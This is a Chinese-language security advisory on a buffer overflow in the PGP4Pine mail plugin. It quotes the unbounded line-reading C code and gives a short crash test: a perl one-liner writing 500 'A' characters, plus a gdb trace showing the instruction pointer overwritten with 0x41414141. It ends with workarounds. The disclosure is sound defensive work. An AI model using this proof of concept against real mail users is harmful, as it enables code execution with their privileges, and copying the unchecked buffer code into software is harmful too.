安全研究
安全漏洞
PGP4Pine文件解析缓冲区溢出漏洞
发布日期:2003-03-12
更新日期:2003-03-14
受影响系统:
PGP4Pine PGP4Pine 1.76描述:
PGP4Pine PGP4Pine 1.75
PGP4Pine PGP4Pine 1.74
PGP4Pine是用于PINE增加PGP功能的程序,可对邮件进行加密/解密/签名/验证等操作。
PGP4Pine在解析文件时存在问题,远程攻击者可以利用这个漏洞发送恶意邮件,诱使PGP4Pine处理,可触发缓冲区溢出。
当PGP4Pine与pine一起安装配置后,PGP4Pine就会解析进入的任何邮件,查找PGP令牌和信息,并验证发送者签名,为了签证进入的邮件,PGP4Pine会调用menus.c: void fileVerifyDecryptMenu(char *inFile,char *outFile); 并循环读取每一行:
[...]
char readline[CONSOLE_IO_LINE_LENGTH];
(where defines.h:#define CONSOLE_IO_LINE_LENGTH 256)
[...]
do {
fertig=0;
while (!fertig)
{
if ((c=getc(fin))==EOF)
{
outFile=inFile; /* this usually is not
executed, EOF breaks directly */
return;
}
else if ((readline[i++]=c) == '\n')
{
readline[i]='\0';
fertig=1;
}
}
fertig=0;
if (strncmp("-----BEGIN PGP SIGNED",readline,20)==0)
{
/* got signed message */
fclose(fin);
while (fileVerify(inFile,outFile) > 0); /* =1: Repeat */
fertig=1;
}
else if (strncmp("-----BEGIN PGP",readline,14)==0)
{
/* got another type of PGP message (encrypted, keys ...) */
fclose(fin);
fileDecrypt(inFile,outFile);
waitForReturn();
fertig=1;
}
else
i=0; /* Got waste line, reset i */
} while (!fertig);
[...]
如果单行的字节数超过256字符,就会覆盖堆栈中的变量,精心构建恶意邮件,诱使PGP4Pine用户解析,可能以用户进程权限在系统上执行任意指令。
<*来源:Eric AUGE (eric.auge@cw.com)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=104748935303874&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
rival@bones ~/dev/test/pgp4pine-ex $ echo `perl -e 'print "A"x500'` > testmail
rival@bones ~/dev/test/pgp4pine-ex $ ./pgp4pine-vuln -d -i testmail
[...]
Segmentation fault (core dumped)
rival@bones ~/dev/test/pgp4pine-ex $ gdb ./pgp4pine-vuln core
[...]
Core was generated by `./pgp4pine-vuln -d -i testmail'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x41414141 in ?? ()
(gdb)
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 关闭使用pgp4pine,并使用其他的PGP wrapper:
http://pgpenvelope.sourceforge.net/
http://www.megaloman.com/~hany/software/pinepgp/stable.html
厂商补丁:
PGP4Pine
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://pgp4pine.flatline.de/
浏览次数:2809
严重程度:0(网友投票)
绿盟科技给您安全的保障